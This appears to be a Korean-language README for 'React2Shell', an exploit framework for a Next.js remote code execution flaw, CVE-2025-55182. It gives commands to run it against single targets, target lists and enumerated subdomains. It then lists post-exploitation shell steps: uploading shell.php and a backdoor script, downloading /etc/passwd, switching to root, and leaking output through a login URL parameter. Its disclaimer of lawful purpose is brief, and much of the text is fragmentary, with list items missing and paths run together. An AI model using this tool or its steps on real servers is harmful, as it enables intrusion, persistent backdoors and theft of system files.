
CVE-2025-55182(Next.js 원격 코드 실행)를 위한 고급 익스플로잇 프레임워크
Author: opsecramdan
React2Shell은 Next.js 기반 애플리케이션에서 CVE-2025-55182 취약점을 식별하고 악용하는 익스플로잇 프레임워크입니다.
이 도구는 다음을 포함하는 올인원 공격 툴킷으로 설계되었습니다:
이 취약점은 다음과 같은 방식으로 Next.js 내부 메커니즘을 악용합니다:
/login?a=)을 통한 결과 유출//api/api/auth/_next/admin/dashboardsudo -i 실행의존성 설치:
pip install requests dnspython
git clone https://github.com/yourusername/react2shell-cve-2025-55182.git
cd react2shell-cve-2025-55182
python3 react2shell.py
python3 react2shell.py -u https://target.com
프로토콜 없이:
python3 react2shell.py -u target.com
python3 react2shell.py -f targets.txt
targets.txt 내용 예시:
https://target1.com
http://target2.com:3000
target3.com
python3 react2shell.py -d example.com
흐름:
python3 react2shell.py -d example.com -w wordlist.txt
python3 react2shell.py -d example.com --debug
익스플로잇이 성공하면 셸 액세스 권한을 얻을 수 있습니다.
whoami
id
uname -a
pwd
ls -lah
.upload shell.php /tmp/shell.php
.download /etc/passwd
.create /tmp/test.txt
python3 react2shell.py -d example.com
whoami
.upload backdoor.sh /tmp/backdoor.sh
이 도구는 다음 파일을 생성합니다:
악용에 성공할 경우:
이 도구는 다음 목적으로만 제작되었습니다:
불법 활동에 사용하는 것을 금지합니다.
이 프로젝트는 다음을 보여줍니다:
| Command |
|---|
| Description |
|---|
| .root | 루트 모드 전환 |
| .upload | 대상에 파일 업로드 |
| .download | 대상에서 파일 다운로드 |
| .create | 대상에 파일 생성 |
| .save | 출력을 로컬 파일로 저장 |
| .exit | 셸 종료 |